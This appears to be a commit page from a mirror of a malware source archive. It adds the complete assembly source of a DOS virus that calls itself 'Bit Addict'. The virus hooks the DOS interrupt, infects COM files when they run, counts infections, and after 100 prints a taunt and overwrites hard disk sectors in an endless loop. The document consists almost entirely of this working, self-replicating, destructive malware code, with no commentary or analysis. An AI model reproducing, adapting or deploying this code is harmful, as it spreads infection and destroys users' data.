mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,224 @@
|
||||
code segment
|
||||
org 0
|
||||
|
||||
call Virus
|
||||
|
||||
Displacement equ $
|
||||
|
||||
SavedCode db 0cdh,020h,11 dup (090h)
|
||||
|
||||
OldInt21 dd 0
|
||||
Count db 0
|
||||
|
||||
Jump db 0e9h
|
||||
NearOfset dw 0
|
||||
ID db 'Bit Addict says: ',13,10
|
||||
db '"You have a good taste for hard disks, it was delicious!"'
|
||||
db '$'
|
||||
|
||||
NewInt21:
|
||||
cmp ax,0ffffh
|
||||
jne Ok
|
||||
cmp dx,ax
|
||||
jne Ok
|
||||
mov ax,cs
|
||||
iret
|
||||
Ok: cmp ah,4bh
|
||||
je Exec
|
||||
jmp EOI
|
||||
|
||||
Exec: cmp cs:Count,100
|
||||
jb Infect
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,9
|
||||
lea dx,ID
|
||||
int 21h
|
||||
|
||||
xor dx,dx
|
||||
cli
|
||||
Repeat: push dx
|
||||
mov ax,2
|
||||
xor bx,bx
|
||||
mov cx,100
|
||||
int 26h
|
||||
pop ax
|
||||
pop dx
|
||||
add dx,100
|
||||
jmp short Repeat
|
||||
|
||||
Infect: push ax
|
||||
push bx
|
||||
push cx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push dx
|
||||
mov ax,04300h
|
||||
int 21h
|
||||
push cx
|
||||
mov ax,04301h
|
||||
xor cx,cx
|
||||
int 21h
|
||||
mov ax,03d02h
|
||||
int 21h
|
||||
jnc OpenOk
|
||||
jmp Error
|
||||
OpenOk: mov bx,ax
|
||||
mov ax,05700h
|
||||
int 21h
|
||||
push cx
|
||||
push dx
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov ah,3fh
|
||||
mov cx,13
|
||||
lea dx,SavedCode
|
||||
int 21h
|
||||
jc Close2
|
||||
lea si,ID
|
||||
lea di,SavedCode[3]
|
||||
mov cx,10
|
||||
cld
|
||||
repe cmpsb
|
||||
je Counter
|
||||
cmp word ptr SavedCode,5a4dh
|
||||
je Close2
|
||||
mov ax,04202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jc Close
|
||||
or dx,dx
|
||||
jne Close
|
||||
sub ax,3
|
||||
jb Close
|
||||
mov NearOfset,ax
|
||||
mov Count,0
|
||||
mov ah,40h
|
||||
mov cx,CodeSize
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jc Close
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jc Close
|
||||
mov ah,40h
|
||||
mov cx,13
|
||||
lea dx,Jump
|
||||
int 21h
|
||||
Close2: jmp short Close
|
||||
Counter:mov dx,word ptr SavedCode[1]
|
||||
add dx,offset Count+3
|
||||
xor cx,cx
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
jc Close
|
||||
push ax
|
||||
push dx
|
||||
mov ah,3fh
|
||||
mov cx,1
|
||||
lea dx,Count
|
||||
int 21h
|
||||
pop cx
|
||||
pop dx
|
||||
jc Close
|
||||
inc Count
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
jc Close
|
||||
mov ah,40h
|
||||
mov cx,1
|
||||
lea dx,Count
|
||||
int 21h
|
||||
Close: pop dx
|
||||
pop cx
|
||||
mov ax,05701h
|
||||
int 21h
|
||||
mov ax,03e00h
|
||||
int 21h
|
||||
Error: pop cx
|
||||
pop dx
|
||||
pop es
|
||||
pop ds
|
||||
mov ax,04301h
|
||||
int 21h
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
EOI: jmp cs:OldInt21
|
||||
|
||||
Virus: mov ax,0ffffh
|
||||
mov dx,ax
|
||||
int 21h
|
||||
pop bx
|
||||
sub bx,Displacement
|
||||
mov ds,ax
|
||||
xor si,si
|
||||
mov di,bx
|
||||
mov cx,CodeSize
|
||||
rep cmpsb
|
||||
je Exit
|
||||
push bx
|
||||
mov ah,52h
|
||||
int 21h
|
||||
push es
|
||||
push bx
|
||||
mov ah,30h
|
||||
int 21h
|
||||
pop si
|
||||
pop ds
|
||||
pop bx
|
||||
cmp al,2
|
||||
jb Exit
|
||||
cmp al,3
|
||||
adc si,12h
|
||||
les di,[si]
|
||||
push es
|
||||
push di
|
||||
les di,es:[di]
|
||||
mov [si],di
|
||||
mov [si+2],es
|
||||
pop ax
|
||||
pop dx
|
||||
add ax,0fh
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
add ax,dx
|
||||
mov es,ax
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bx
|
||||
xor di,di
|
||||
mov cx,CodeSize
|
||||
cld
|
||||
rep movsb
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,[84h]
|
||||
mov es:word ptr OldInt21[0],ax
|
||||
mov ax,[86h]
|
||||
mov es:word ptr OldInt21[2],ax
|
||||
mov word ptr [84h],NewInt21
|
||||
mov word ptr [86h],es
|
||||
Exit: push cs
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
lea si,SavedCode[bx]
|
||||
mov di,0100h
|
||||
push di
|
||||
mov cx,13
|
||||
rep movsb
|
||||
ret
|
||||
|
||||
CodeSize equ $
|
||||
|
||||
Reference in New Issue
Block a user